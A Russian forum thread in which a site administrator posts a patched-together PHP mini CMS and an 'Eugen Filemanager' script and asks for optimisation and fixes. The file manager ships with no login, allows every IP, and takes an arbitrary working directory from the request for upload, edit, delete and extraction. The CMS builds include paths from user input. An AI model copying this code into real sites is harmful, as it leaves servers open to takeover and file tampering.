Помогите оптимизировать скрипт

FussesDemon

Администратор
Администратор
9 Фев 2005
6.418
693
113
www.unifree.ru
Скрипт писал не я но я его коверкал и подгонял под себя другими скриптами получилась мини cms для сайта визитки хотелось бы его оптимизировать и устранить ошибки ))


PHP:
<?php


////////////////////////////////////
// Адрес виртуальный путь сайта без последнего слеша $_SERVER['HTTP_HOST'] $_SERVER['SERVER_NAME'] "http://www.ru"
$site_url = "http://".$_SERVER['HTTP_HOST'];
// Адрес физический путь сайта от корня сервера без последнего слеша 'I:\Inetpub\test';
$site_path = dirname($_SERVER['SCRIPT_FILENAME']);
// Папка с страницами
$folder_style = 'templates/default';
// Стил CSS style не меняем
$style_css = "/style.css";
// Папка с страницами
$folder_name = 'content';
// Расширение файлов темы и перехода
$file_ext = 'txt.php';
// Расширение файлов контента
$file_text = 'text.html';

///////////////////////////////////
// Меню названия страницы для стиля tab.??.tpl
$menuindex = 'Самые главные новости о нас';
$menuabout = 'Прайс лист цен на наши услуги';
$menuproduct = 'Продукция ремонта';
$menucontact = 'Как связаться с нами';
$menuuslugi = 'Услуги на ремонт';

///////////////////////////////////
// Заголовки странички title description keyword для каждой отдельно страницы
$title_web_index = "Главная";
$description_web_index = "Описание основное для начальной страницы";
$keyword_index = "Описание основное для начальной страницы";

$title_web_about = "about";
$description_web_about = "about Описание основное для начальной страницы";
$keyword_about = "about Описание основное для начальной страницы";

$title_web_uslugi = "uslugi";
$description_web_uslugi = "uslugi Описание основное для начальной страницы";
$keyword_uslugi = "uslugi Описание основное для начальной страницы";

$title_web_product = "product";
$description_web_product = "product Описание основное для начальной страницы";
$keyword_product = "product Описание основное для начальной страницы";

$title_web_contact = "contact";
$description_web_contact = "contact Описание основное для начальной страницы";
$keyword_contact = "contact Описание основное для начальной страницы";
?>
PHP:
<?
////////////////////////////////////
/* Генератор открытия страницы смотри так же стил .tpl {timegen} $tempfoot */
$timer=microtime();
$generation1=$timer;
$generation=round($generation1,3);
$timegen="$generation секунд";

/* Загрузка конфига */
require_once ('config.php');

// Смена выбор стиля /* Определение стиля */
$styles = isset($_GET['style']) && !empty ($_GET['style'])? htmlentities(trim('style')) : null;
// Выстраиваем странички /* Определение страницы загрузка сама страница */
$pages = isset($_GET['page']) && !empty($_GET['page']) ? htmlentities(trim($_GET['page'])) : "index";

///////////////////////////////////
// Создание нумерации страниц число страниц выбора
// общее количество элементов в каталоге делится на количество
$rows = 12;
// количество одновременно отображаемых элементов на странице делим на общие количество
$rows_per_page = 4;
// вычисляем количество страниц
$pages_id = ceil($rows/$rows_per_page);
// для каждой страницы создаём соответствующую ссылку
$page_line = '';


/////////////////////////////////////////////////
// Загрузка дополнительной загрузки страничек
// Указываем обязательно если есть дополнительные 
// странички и подгружаем модули к ним если требуеться
// Выбор названия страничек и описание из configa указывать
// обязательно для каждой странице или будет название "ошибка"
switch ($pages)
{
case "uslugi":
$title_web=$title_web_uslugi;
$description_web=$description_web_uslugi;
$keyword=$keyword_uslugi;
// для каждой страницы создаём соответствующую ссылку
$page_line = '<a href="?page=uslugi">[0]</a>';
// выводим готовую строку навигации выведет [1][2][3][4][5][6][7] 
// $i = 0; 0 - это со скольки начинает считать страницы
for ($i = 1; $i < $pages_id; $i++ )
{
// где ($i + 0) с [1][2][3] или же ($i + 1) с [2][3]
$page_line .='<a href="?page=uslugi=id;'.$i.'">['.($i + 0).']</a>';
}
break;
case "product":
$title_web=$title_web_product;
$description_web=$description_web_product;
$keyword=$keyword_product;
break;
case "about":
$title_web=$title_web_about;
$description_web=$description_web_about;
$keyword=$keyword_about;
break;
case "contact":
$title_web=$title_web_contact;
$description_web=$description_web_contact;
$keyword=$keyword_contact;
break;
case "index":
$title_web=$title_web_index;
$description_web=$description_web_index;
$keyword=$keyword_index;
break;
//------------------------------------------------------------------------
// Дополнительные странички прописываются отдельно находятся в папке pages
//------------------------------------------------------------------------
case "uslugi=id;1":
$title_web=$title_web_index;
$description_web=$description_web_index;
$keyword=$keyword_index;
// для каждой страницы создаём соответствующую ссылку
$page_line = '<a href="?page=uslugi">[0]</a>';
// выводим готовую строку навигации выведет [1][2][3][4][5][6][7] 
// $i = 0; 0 - это со скольки начинает считать страницы
for ($i = 1; $i < $pages_id; $i++ )
{
// где ($i + 0) с [1][2][3] или же ($i + 1) с [2][3]
$page_line .='<a href="?page=uslugi=id;'.$i.'">['.($i + 0).']</a>';
}
break;
case "uslugi=id;2":
$title_web=$title_web_index;
$description_web=$description_web_index;
$keyword=$keyword_index;
// для каждой страницы создаём соответствующую ссылку
$page_line = '<a href="?page=uslugi">[0]</a>';
// выводим готовую строку навигации выведет [1][2][3][4][5][6][7] 
// $i = 0; 0 - это со скольки начинает считать страницы
for ($i = 1; $i < $pages_id; $i++ )
{
// где ($i + 0) с [1][2][3] или же ($i + 1) с [2][3]
$page_line .='<a href="?page=uslugi=id;'.$i.'">['.($i + 0).']</a>';
}
break;
// Выводит ошибку если страничка не найдена
default:
$title_web="Ошибка страница $pages не найдена";
$description_web=$description_web_index;
$keyword=$keyword_index;
break;
}

/* Определение стиля */
if (empty($styles))
{
$style_path = "./$folder_style";
}
elseif (file_exists("./$styles/index.tpl"))
{
$style_path = "./$styles";
}
else
{
$style_path = "./default";
}

/* Загрузка шаблона и условий выполнения */
$temphead = @file_get_contents ("$style_path/head.tpl"); // Загрузка шаблона верха
$templ = @file_get_contents ("$style_path/index.tpl"); // Загрузка шаблона главная
$tempfoot = @file_get_contents ("$style_path/foot.tpl"); // Загрузка шаблона низа
$temphead = str_replace ("{content}", $content, $temphead); // Содержание страницы
$temphead = str_replace ("{style_path}", $style_path, $temphead); // Путь до стиля
$temphead = str_replace ("{style}", $style, $temphead); // Имя стиля
$temphead = str_replace ("{page}", $pages, $temphead); // Имя страницы
$temphead = str_replace ("{site_url}", $site_url, $temphead); // Адрес сайта
$temphead = str_replace ("{site_path}", $site_path, $temphead); // Адрес сайта от корня сервера
$temphead = str_replace ("{title_web}", $title_web, $temphead); // Имя сайта название веб
$temphead = str_replace ("{description_web}", $description_web, $temphead);  // Имя сайта название веб
$temphead = str_replace ("{keyword}", $keyword, $temphead); // Keyword
$temphead = str_replace ("{style_css}", $style_css, $temphead); // Стил сайта CSS style
$templ = str_replace ("{content}", $content, $templ); // Содержание страницы
$templ = str_replace ("{style_path}", $style_path, $templ); // Путь до стиля
$templ = str_replace ("{style}", $style, $templ); // Имя стиля
$templ = str_replace ("{page}", $pages, $templ); // Имя страницы
$templ = str_replace ("{site_url}", $site_url, $templ); // Адрес сайта
$templ = str_replace ("{site_path}", $site_path, $templ); // Адрес сайта от корня сервера

/* Определение страницы загрузка сама страница верх и середина */
echo $temphead.$templ;        // Верх страницы вывод готовой страницы начало и середины
// Загружаем запрос формирование страничек сайта и шаблона для каждой странички
if (empty($pages))
{
//include ("./$folder_style/nav.index.tpl");
//include ("./$folder_style/tab.index.tpl");
//include ("./$folder_name/index.$file_text");
}
elseif ("$pages"=="contact")
{
include ("./$folder_style/nav.$pages.tpl");
include ("./$folder_style/tab.$pages.tpl");
include ("./$folder_name/$pages.$file_text");
include_once ("./modules/mail/mail.php");
}
elseif ("$pages"=="uslugi=id;1")
{
include ("./$folder_style/nav.uslugi.tpl");
include ("./$folder_style/tab.uslugi.tpl");
include ("./$folder_name/pages/$pages.$file_text");
}
elseif ("$pages"=="uslugi=id;2")
{
include ("./$folder_style/nav.uslugi.tpl");
include ("./$folder_style/tab.uslugi.tpl");
include ("./$folder_name/pages/$pages.$file_text");
}
elseif (file_exists("./$folder_name/$pages.$file_text"))
{
include ("./$folder_style/nav.$pages.tpl");
include ("./$folder_style/tab.$pages.tpl");
include ("./$folder_name/$pages.$file_text");
}
else
{
require ("./$folder_style/nav.404.tpl");
require ("./$folder_style/tab.404.tpl");
require ("./$folder_name/404.$file_ext");
}
/* Загрузка шаблона и условий выполнения продолжения темы стиля */
$tempfoot = str_replace ("{page_line}", $page_line, $tempfoot); // Генерация нумерация страниц
$tempfoot = str_replace ("{timegen}", $timegen, $tempfoot); // Генерация время загрузки сайта
/* Продолжения загрузки низа страницы стиля */
echo $tempfoot;            // Низ страницы
?>
 

FussesDemon

Администратор
Администратор
9 Фев 2005
6.418
693
113
www.unifree.ru
А вот страничку под редактирование страничек нарыл что то сам понатыкал вроде работает но незнаю как сделать чтобы прикрепить этот скрип к определенной папке, скрывать из виду определенные папки а так же файлы



PHP:
<?php
/////////////////////////разрешает заход с паролем или нет true да false нет
$log_in=false; //логин
$password=false; //пароль
$hosts=array("*"); //Разрешённые адреса: array("nas1-86.isp.com", "213.186.11.128");

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","999M");
ini_set("output_buffering","0");
set_magic_quotes_runtime(0);
ignore_user_abort(1);
////////////////////////////////время и дата для сздания файлов и папок
$date=date("d.m.Y");
$time_now=date("H:i");
$_REQUEST = array_merge($_GET, $_POST);
if (get_magic_quotes_gpc()){
foreach ($_REQUEST as $key=>$value)
{
$_REQUEST[$key]=stripslashes($value);
}
}
//////////////////////////////загрузка картинок файлов/////////////////
$act=$_REQUEST['act'];
$name_img=$_REQUEST['name_img'];
$dl=$_REQUEST['download'];
$img=$_REQUEST['image'];
////////////// ПУТЬ ВЫХОДА ИЗ КОРНЯ ПАПКИ///////////////////////////
if (!empty($_REQUEST['workingdir'])) chdir($_REQUEST['workingdir']);
///////////////ВНЕШНИЕ ЗАГРУЗКИ ВСЕХ СТРАНИЧЕК/////////////////////
$hcwd="<input type=hidden name=workingdir value=\"".htmlspecialchars(getcwd())."\">";
////////////////ЗАГРУЗКА СТРАНИЧКИ ОШИЬКА////////////////////////////////////////
$errorbox = "<table border=0 align=\"center\" cellpadding=0  cellspacing=0 style=\"border-collapse: collapse\" bgcolor=\"red\"  bordercolor=\"#282828\" width=\"100%\"><tr><td  align=\"center\"><b>Ошибка: </b>";
$et = "</td></tr></table>";
//версия
$v="1.1";
/////////////////Главная страничка//////////////////
$msgbox="<br><table border=0 cellpadding=0 cellspacing=0  style=\"border-collapse: collapse\" bordercolor=\"#282828\"  width=\"100%\"><tr><td align=\"center\">";
//////////////Страничка помощи///////////////
$intro="<center><table border=0 style=\"border-collapse:  collapse\"  bordercolor=\"#282828\"><tr><td><b>Скрипт:</b><br>".str_repeat("---",25)."<br><b>Название:</b>  Eugen Filemanager<br><b>Версия:</b>  ".$v."<br><br><b>Автор:</b><br>".str_repeat("---",25)."<br><b>Имя:</b>  Eugen<br><b>Страна:</b>  Ukraine<br><b>Email:</b> <a  href=\"mailto:[email protected]?subject=Filemanager\">[email protected]</a>".$et."</center>";
//////////////Страничка дополнительно/////////////
$intro_tool="<table border=0 style=\"border-collapse: collapse\"  width=\"65%\"><tr><td  width=\"100%\"><td><tr>Создать:$td1n<form  method=\"POST\" action=\"".hlink("sec=fm")."\"><input type=text  size=47 name=newf></td></tr><tr>$td2m$hcwd<input  class=buttons type=submit name=newfile value=\"Файл\"><input  class=buttons type=submit name=newdir  value=\"Папку\"></td></tr></form></table></tr><td   width=\"50%\"><br>${t}Загрузить:</td></tr><tr>$td1n<form  method=\"POST\" enctype=\"multipart/form-data\"  action=\"".hlink("sec=fm")."\"><input type=file size=45  name=uploadfile></td></tr><tr>$td2m$hcwd<input  class=buttons type=submit value=Загрузить></td></tr>$td1n  <br> Максимальный объём загружаемого файла на этом сервере  ".ini_get('upload_max_filesize')."</td></tr></form></table>$et";
////////////ЗАГРУЗКА НИЗА ВСЕЙ СТРАНИЧКИ////////////////
$footer=$msgbox;
$t = "<table border=0 style=\"border-collapse: collapse\"  bordercolor=\"#282828\" width=\"40%\"><tr><td  width=\"40%\">";
$disablefunctions = @ini_get('disable_functions');
if ($_REQUEST['sec'] == "logout") {
setcookie("user_name");
setcookie("pass_word");
header("Location: /");
exit();
}
$style="<style>body {font-size:18px;font-family:\"Arial Narrow\";} 
img { border:0;}
Table {font-size: 15px;}.buttons {font-family:Verdana;font-size:9pt;font-weight:normal;font-style:normal;
color:#171717;
background-color:#f7f7f7;
border-style:solid;
border-width:1px;
border-color:#171717;}
textarea {border: 0px #000000 solid;
background: #EEEEEE;color: #000000;}
input {background: #EEEEEE;
border-width:1px;border-style:solid;
border-color:black;}select {background: #EEEEEE;border: 0px #000000 none;}
</style><meta http-equiv=\"content-type\" content=\"text/html;charset=windows-1251\">";
///////////////загрузка скриптов//////////////////////////////////
$fm_script="<script src=\"nicEdit.js\" type=\"text/javascript\"></script><script type=\"text/javascript\"> 
bkLib.onDomLoaded(function() { 
new nicEditor({iconsPath : 'icons/nicEditorIcons.gif',fullPanel : true}).panelInstance('textedit'); 
});</script><script>function  file(name,ext){document.write('<onChange=\"window.location=this.options[this.selectedIndex].value;\"><a  href=\"?sec=fm&workingdir=$cwd\" alt=\"Обновить\"  title=\"Обновить\"><img src=\"icons/refresh.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=openit&name='+name+'&workingdir=$cwd\"  alt=\"Открыть\" title=\"Открыть\"><img src=\"icons/open.jpg\"  height=\"20\" width=\"20\"/></img></a><a  href=\"?sec=edit&file='+name+'&workingdir=$cwd\"  alt=\"Редактировать\" title=\"Редактировать\"><img  src=\"icons/edit.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&download='+name+'&workingdir=$cwd\"  alt=\"Скачать\" title=\"Скачать\"><img src=\"icons/save.jpg\"  height=\"20\" width=\"20\"/></img></a><a  href=\"?sec=hex&file='+name+'&workingdir=$cwd\" alt=\"НЕХ код\"  title=\"НЕХ код\"><img src=\"icons/hex.jpg\" height=\"20\"  width=\"20\"/></img></a>');if(ext=='bmp'){document.write('<a  href=\"?sec=img&file='+name+'&workingdir=$cwd\" alt=\"Картинка  BMP\" title=\"Картинка BMP\"><img src=\"icons/bmp.jpg\"  height=\"20\"  width=\"20\"/></img></a>');}if(ext=='tgz'){document.write('<a  href=\"?sec=fm&untgz='+name+'&workingdir=$cwd\" alt=\"Извлечь  TGZ\" title=\"Извлечь TGZ\"><img src=\"icons/untgz.jpg\"  height=\"20\"  width=\"20\"/></img></a>');}if(ext=='tar'){document.write('<a  href=\"?sec=fm&untar='+name+'&workingdir=$cwd\" alt=\"Извлечь  TAR\" title=\"Извлечь TAR\"><img src=\"icons/untar.jpg\"  height=\"20\"  width=\"20\"/></img></a>');}document.write('<a  href=\"?sec=checksum&file='+name+'&workingdir=$cwd\"  alt=\"Контрольная сумма\" title=\"Контрольная сумма\"><img  src=\"icons/md-sha.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&workingdir=$cwd&rn='+name+'\"  alt=\"Переименовать\" title=\"Переименовать\"></a><a  href=\"?sec=fm&workingdir=$cwd&cp='+name+'\" alt=\"Копировать\"  title=\"Копировать\"></a><a  href=\"?sec=fm&workingdir=$cwd&mv='+name+'\" alt=\"Переместить\"  title=\"Переместить\"></a><a  href=\"?sec=fm&del='+name+'&workingdir=$cwd\" alt=\"Удалить\"  title=\"Удалить\"><img src=\"icons/delete.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&zip='+name+'&workingdir=$cwd\" alt=\"Архив ZIP\"  title=\"Архив ZIP\"><img src=\"icons/zip.jpg\" height=\"20\"  width=\"20\"/></img></a></select>');}function  dir(dir,d){document.write('<onChange=\"window.location=this.options[this.selectedIndex].value;\"><a  href=\"?sec=fm&workingdir=$cwd\" alt=\"Обновить\"  title=\"Обновить\"><img src=\"icons/refresh.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&workingdir='+d+'\" alt=\"Открыть\"  title=\"Открыть\"><img src=\"icons/folder.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&workingdir=$cwd&rn='+dir+'\"  alt=\"Переименовать\" title=\"Переименовать\"><img  src=\"icons/folder_rename.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&del='+dir+'&workingdir=$cwd\" alt=\"Удалить\"  title=\"Удалить\"><img src=\"icons/delete.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&tar='+dir+'&workingdir=$cwd\" alt=\"Архив TAR\"  title=\"Архив TAR\"><img src=\"icons/tar.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&tgz='+dir+'&workingdir=$cwd\" alt=\"Архив TGZ\"  title=\"Архив TGZ\"><img src=\"icons/tgz.jpg\" height=\"20\"  width=\"20\"/></img></a><a  href=\"?sec=fm&zip='+dir+'&workingdir=$cwd\" alt=\"Архив ZIP\"  title=\"Архив ZIP\"><img src=\"icons/zip.jpg\" height=\"20\"  width=\"20\"/></img></a></select>');}</script>
</SELECT>";
$tmp=array();
foreach ($hosts as $k=>$v)
$tmp[]=str_replace("\\*",".*",preg_quote($v));
$ssd="!^(".implode("|",$tmp).")$!i";
///////////// ОШИБКА КОГДА ИП НЕ ТОТ/////////////////////////////////
if (!preg_match($ssd,getenv("REMOTE_ADDR")) && !preg_match($ssd,gethostbyaddr(getenv("REMOTE_ADDR")))) {
die("<html><head>".$style."<title>Файловый менеджер   Access denied</title></head><body text=\"red\"  bgcolor=\"#181818\" link=\"#000000\" vlink=\"#000000\"  alink=\"#000000\"><center><br><h1>Sorry</h1><br><h1>Access  denied from your  IP</h1></center></body></html>");
}
$loginlogin=array_merge($_COOKIE,$_POST);
if ($log_in != false) {
if ($loginlogin['user_name'] != $log_in || $loginlogin['pass_word'] != $password) {
die("<html><head>".$style."<title>Файловый менеджер  </title></head><body text=\"#171717\" bgcolor=\"#181818\"  link=\"#000000\" vlink=\"#000000\"  alink=\"#000000\"><center><br><h1>Authorization</h1><br><form  action=\"?\" method=post>Login:<br><input type=text  name=user_name><br><br>Password:<br><input  type=password name=pass_word><br><br><input  type=submit value=\"Log  in\"></form></center></body></html>");
} else {
if (!$_COOKIE['user_name']) {
setcookie("user_name",$log_in);
setcookie("pass_word",$password);
}}}
/////////////////////////////////////////ЗАГРАЗКА ИКОНОК ДЛЯ ФАЙЛОВ И ПАПОК////////////////////////////
function get_file_ext($file) {
$file=strtolower($file);
if (strstr($file,".")) {
$d=strlen($file);
$ext="";
while($file[$d]!=".") {
$ext=$file[$d].$ext; $d--; }
return $ext;
} else {
return $file;
}
}
if ($act == "img") {
unset($img);
$img=array(
'dir' => 'dir.gif',

'html' => 'html.gif',
'shtml' => 'html.gif',
'htm' => 'html.gif',
'mhtml' => 'html.gif',

'php' => 'php.gif',
'php3' => 'php.gif',
'php4' => 'php.gif',
'phtml' => 'php.gif',

'exe' => 'exe.gif',
'com' => 'exe.gif',
'bat' => 'exe.gif',

'txt' => 'txt.gif',
'dat' => 'txt.gif',
'log' => 'txt.gif',
'ini' => 'txt.gif',
'inf' => 'txt.gif',
'inc' => 'txt.gif',
'sql' => 'txt.gif',
);
header("Content-type: image/gif");
die (base64_decode($img[$name_img]));
}
class archive
{
function archive($name)
{
$this->options = array (
'basedir' => ".",'name' => $name,'prepend' => "",'inmemory'  => 0,'overwrite' => 0,'recurse' => 1,'storepaths' =>  1,'followlinks' => 0,'level' => 3,'method' => 1,'sfx' =>  "",'type' => "",'comment' => ""
);
$this->files = array ();
$this->exclude = array ();
$this->storeonly = array ();
$this->error = array ();
}
function set_options($options)
{
foreach ($options as $key => $value)
$this->options[$key] = $value;
if (!empty ($this->options['basedir']))
{
$this->options['basedir'] = str_replace("\\", "/", $this->options['basedir']);
$this->options['basedir'] = preg_replace("/\/+/", "/", $this->options['basedir']);
$this->options['basedir'] = preg_replace("/\/$/", "", $this->options['basedir']);
}
if (!empty ($this->options['name']))
{
$this->options['name'] = str_replace("\\", "/", $this->options['name']);
$this->options['name'] = preg_replace("/\/+/", "/", $this->options['name']);
}
if (!empty ($this->options['prepend']))
{
$this->options['prepend'] = str_replace("\\", "/", $this->options['prepend']);
$this->options['prepend'] = preg_replace("/^(\.*\/+)+/", "", $this->options['prepend']);
$this->options['prepend'] = preg_replace("/\/+/", "/", $this->options['prepend']);
$this->options['prepend'] = preg_replace("/\/$/", "", $this->options['prepend']) . "/";
}
}
function create_archive()
{
$this->make_list();
if ($this->options['inmemory'] == 0)
{
$pwd = getcwd();
chdir($this->options['basedir']);
if ($this->options['overwrite'] == 0 &&  file_exists($this->options['name'] . ($this->options['type'] ==  "gzip" || $this->options['type'] == "bzip" ? ".tmp" : "")))
{
$this->error[] = "File {$this->options['name']} already exists.";
chdir($pwd);
return 0;
}
else if ($this->archive = @fopen($this->options['name'] .  ($this->options['type'] == "gzip" || $this->options['type'] ==  "bzip" ? ".tmp" : ""), "wb+"))
chdir($pwd);
else
{
$this->error[] = "Could not open {$this->options['name']} for writing.";
chdir($pwd);
return 0;
}
}
else
$this->archive = "";
switch ($this->options['type'])
{
case "zip":
if (!$this->create_zip())
{
$this->error[] = "Could not create zip file.";
return 0;
}
break;
case "gzip":
if (!$this->create_tar())
{
$this->error[] = "Could not create tar file.";
return 0;
}
if (!$this->create_gzip())
{
$this->error[] = "Could not create gzip file.";
return 0;
}
break;
case "tar":
if (!$this->create_tar())
{
$this->error[] = "Could not create tar file.";
return 0;
}
}
if ($this->options['inmemory'] == 0)
{
fclose($this->archive);
if ($this->options['type'] == "gzip")
unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
}
}
function add_data($data)
{
if ($this->options['inmemory'] == 0)
fwrite($this->archive, $data);
else
$this->archive .= $data;
}
function make_list()
{
if (!empty ($this->exclude))
foreach ($this->files as $key => $value)
foreach ($this->exclude as $current)
if ($value['name'] == $current['name'])
unset ($this->files[$key]);
if (!empty ($this->storeonly))
foreach ($this->files as $key => $value)
foreach ($this->storeonly as $current)
if ($value['name'] == $current['name'])
$this->files[$key]['method'] = 0;
unset ($this->exclude, $this->storeonly);
}
function add_files($list)
{
$temp = $this->list_files($list);
foreach ($temp as $current)
$this->files[] = $current;
}
function exclude_files($list)
{
$temp = $this->list_files($list);
foreach ($temp as $current)
$this->exclude[] = $current;
}
function store_files($list)
{
$temp = $this->list_files($list);
foreach ($temp as $current)
$this->storeonly[] = $current;
}
function list_files($list)
{
if (!is_array ($list))
{
$temp = $list;
$list = array ($temp);
unset ($temp);
}
$files = array ();
$pwd = getcwd();
chdir($this->options['basedir']);
foreach ($list as $current)
{
$current = str_replace("\\", "/", $current);
$current = preg_replace("/\/+/", "/", $current);
$current = preg_replace("/\/$/", "", $current);
if (strstr($current, "*"))
{
$regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/", "\\\\\\1", $current);
$regex = str_replace("*", ".*", $regex);
$dir = strstr($current, "/") ? substr($current, 0, strrpos($current, "/")) : ".";
$temp = $this->parse_dir($dir);
foreach ($temp as $current2)
if (preg_match("/^{$regex}$/i", $current2['name']))
$files[] = $current2;
unset ($regex, $dir, $temp, $current);
}
else if (@is_dir($current))
{
$temp = $this->parse_dir($current);
foreach ($temp as $file)
$files[] = $file;
unset ($temp, $file);
}
else if (@file_exists($current))
$files[] = array ('name' => $current, 'name2' => $this->options['prepend'] .
preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($current, "/")) ?
substr($current, strrpos($current, "/") + 1) : $current),'type' =>  @is_link($current) && $this->options['followlinks'] == 0 ? 2 :  0,'ext' => substr($current, strrpos($current, ".")), 'stat' =>  stat($current));
}
chdir($pwd);
unset ($current, $pwd);
return $files;
}
///////////////////////////////////////////////////////////////////////////
function parse_dir($dirname)
{
if ($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/", $dirname))
$files = array (array ('name' => $dirname, 'name2' => $this->options['prepend'] .
preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($dirname, "/")) ?
substr($dirname, strrpos($dirname, "/") + 1) : $dirname), 'type' => 5, 'stat' => stat($dirname)));
else
$files = array ();
$dir = @opendir($dirname);
while ($file = @readdir($dir))
{
$fullname = $dirname . "/" . $file;
if ($file == "." || $file == "..")
continue;
else if (@is_dir($fullname))
{
if (empty ($this->options['recurse']))
continue;
$temp = $this->parse_dir($fullname);
foreach ($temp as $file2)
$files[] = $file2;
}
else if (@file_exists($fullname))
$files[] = array ('name' => $fullname, 'name2' => $this->options['prepend'] .
preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($fullname, "/")) ?
substr($fullname, strrpos($fullname, "/") + 1) : $fullname),'type' =>  @is_link($fullname) && $this->options['followlinks'] == 0 ? 2  : 0,'ext' => substr($file, strrpos($file, ".")), 'stat' =>  stat($fullname));
}
@closedir($dir);
return $files;
}
}
class tar_file extends archive
{
function tar_file($name)
{
$this->archive($name);
$this->options['type'] = "tar";
}
function create_tar()
{
$pwd = getcwd();
chdir($this->options['basedir']);
foreach ($this->files as $current)
{
if ($current['name'] == $this->options['name'])
continue;
if (strlen($current['name2']) > 99)
{
$path = substr($current['name2'], 0, strpos($current['name2'], "/", strlen($current['name2']) - 100) + 1);
$current['name2'] = substr($current['name2'], strlen($path));
if (strlen($path) > 154 || strlen($current['name2']) > 99)
{
$this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
continue;
}
}
$block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",  $current['name2'], sprintf("%07o",$current['stat'][2]), sprintf("%07o",  $current['stat'][4]), sprintf("%07o",  $current['stat'][5]),sprintf("%011o", $current['type'] == 2 ? 0 :  $current['stat'][7]), sprintf("%011o", $current['stat'][9]),"        ",  $current['type'], $current['type'] == 2 ? @readlink($current['name']) :  "", "ustar ", " ","Unknown", "Unknown", "", "", !empty ($path) ? $path :  "", "");
$checksum = 0;
for ($i = 0; $i < 512; $i++)
$checksum += ord(substr($block, $i, 1));
$checksum = pack("a8", sprintf("%07o", $checksum));
$block = substr_replace($block, $checksum, 148, 8);
if ($current['type'] == 2 || $current['stat'][7] == 0)
$this->add_data($block);
else if ($fp = @fopen($current['name'], "rb"))
{
$this->add_data($block);
while ($temp = fread($fp, 1048576))
$this->add_data($temp);
if ($current['stat'][7] % 512 > 0)
{
$temp = "";
for ($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
$temp .= "\0";
$this->add_data($temp);
}
fclose($fp);
}
else
$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
}
$this->add_data(pack("a1024", ""));
chdir($pwd);
return 1;
}
function extract_files()
{
$pwd = getcwd();
chdir($this->options['basedir']);
if ($fp = $this->open_archive())
{
if ($this->options['inmemory'] == 1)
$this->files = array ();
while ($block = fread($fp, 512))
{
$temp =  unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",  $block);
$file = array (
'name' => $temp['prefix'] . $temp['name'],'stat' => array (
2 => $temp['mode'],4 => octdec($temp['uid']),5 =>  octdec($temp['gid']),7 => octdec($temp['size']),9 =>  octdec($temp['mtime']),),'checksum' =>  octdec($temp['checksum']),'type' => $temp['type'],'magic' =>  $temp['magic'],);
if ($file['checksum'] == 0x00000000) break;
else if (substr($file['magic'], 0, 5) != "ustar")
{
$this->error[] = "This script does not support extracting this type of tar file.";
break;
}
$block = substr_replace($block, "        ", 148, 8);
$checksum = 0;
for ($i = 0; $i < 512; $i++)
$checksum += ord(substr($block, $i, 1));
if ($file['checksum'] != $checksum)
$this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
if ($this->options['inmemory'] == 1)
{
$file['data'] = fread($fp, $file['stat'][7]);
fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
unset ($file['checksum'], $file['magic']);
$this->files[] = $file;
}
else if ($file['type'] == 5)
{
if (!is_dir($file['name']))
mkdir($file['name'], $file['stat'][2]);
}
else if ($this->options['overwrite'] == 0 && file_exists($file['name']))
{
$this->error[] = "{$file['name']} already exists.";
}
else if ($file['type'] == 2)
{
symlink($temp['symlink'], $file['name']);
if (strtoupper(substr(0,3,PHP_OS)) != "WIN") chmod($file['name'], $file['stat'][2]);
}
else if ($new = @fopen($file['name'], "wb"))
{
fwrite($new, fread($fp, $file['stat'][7]));
fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
fclose($new);
if (strtoupper(substr(0,3,PHP_OS)) != "WIN") chmod($file['name'], $file['stat'][2]);
}
else
{
$this->error[] = "Could not open {$file['name']} for writing.";
}
touch($file['name'], $file['stat'][9]);
unset ($file);
}
}
else
$this->error[] = "Could not open file {$this->options['name']}";
chdir($pwd);
}
function open_archive()
{
return @fopen($this->options['name'], "rb");
}
}
class gzip_file extends tar_file
{
function gzip_file($name)
{
$this->tar_file($name);
$this->options['type'] = "gzip";
}
function create_gzip()
{
if ($this->options['inmemory'] == 0)
{
$pwd = getcwd();
chdir($this->options['basedir']);
if ($fp = gzopen($this->options['name'], "wb{$this->options['level']}"))
{
fseek($this->archive, 0);
while ($temp = fread($this->archive, 1048576))
gzwrite($fp, $temp);
gzclose($fp);
chdir($pwd);
}
else
{
$this->error[] = "Could not open {$this->options['name']} for writing.";
chdir($pwd);
return 0;
}
}
else
$this->archive = gzencode($this->archive, $this->options['level']);
return 1;
}
function open_archive()
{
return @gzopen($this->options['name'], "rb");
}
}
class zip_file extends archive
{
function zip_file($name)
{
$this->archive($name);
$this->options['type'] = "zip";
}
function create_zip()
{
$files = 0;
$offset = 0;
$central = "";
if (!empty ($this->options['sfx']))
if ($fp = @fopen($this->options['sfx'], "rb"))
{
$temp = fread($fp, sprintf("%u",filesize($this->options['sfx'])));
fclose($fp);
$this->add_data($temp);
$offset += strlen($temp);
unset ($temp);
}
else
$this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
$pwd = getcwd();
